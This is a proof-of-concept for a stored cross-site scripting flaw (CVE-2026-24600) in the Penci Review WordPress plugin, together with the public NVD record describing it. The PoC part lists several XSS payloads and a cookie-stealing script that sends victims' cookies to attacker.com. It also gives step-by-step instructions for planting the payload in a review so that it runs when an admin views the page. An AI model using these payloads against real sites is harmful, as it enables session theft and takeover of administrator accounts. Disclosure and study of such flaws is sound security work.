CVE-2026-24600

<!-- CVE-2026-24600 Stored XSS PoC --> <!-- Target: Penci Review WordPress Plugin <= 3.5 --> <!-- Author: Security Researcher --> <!-- Basic Stored XSS Payload --> <script>alert('XSS');</script> <!-- Event Handler Based XSS Payload --> <img src=x onerror=alert(document.cookie)> <!-- DOM-based XSS Payload --> <svg/onload=alert('Stored XSS')> <!-- Advanced Cookie Stealing Payload --> <script> var img = document.createElement('img'); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); </script> <!-- Stored XSS in Comment Field --> <!-- Steps to reproduce: --> <!-- 1. Login to WordPress with low-privilege account --> <!-- 2. Navigate to a post with Penci Review enabled --> <!-- 3. Submit a review/comment with the XSS payload above --> <!-- 4. Wait for admin or user to view the page --> <!-- 5. XSS payload will execute in victim's browser -->

{"cve": {"id": "CVE-2026-24600", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:18.273", "lastModified": "2026-04-28T15:16:18.303", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Penci Review penci-review allows Stored XSS.This issue affects Penci Review: from n/a through <= 3.5."}, {"lang": "es", "value": "Neutralización Inadecuada de Entrada Durante la Generación de Páginas Web ('cross-site scripting') en PenciDesign Penci Review penci-review permite XSS Almacenado. Este problema afecta a Penci Review: desde n/d hasta &lt;= 3.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/penci-review/vulnerability/wordpress-penci-review-plugin-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}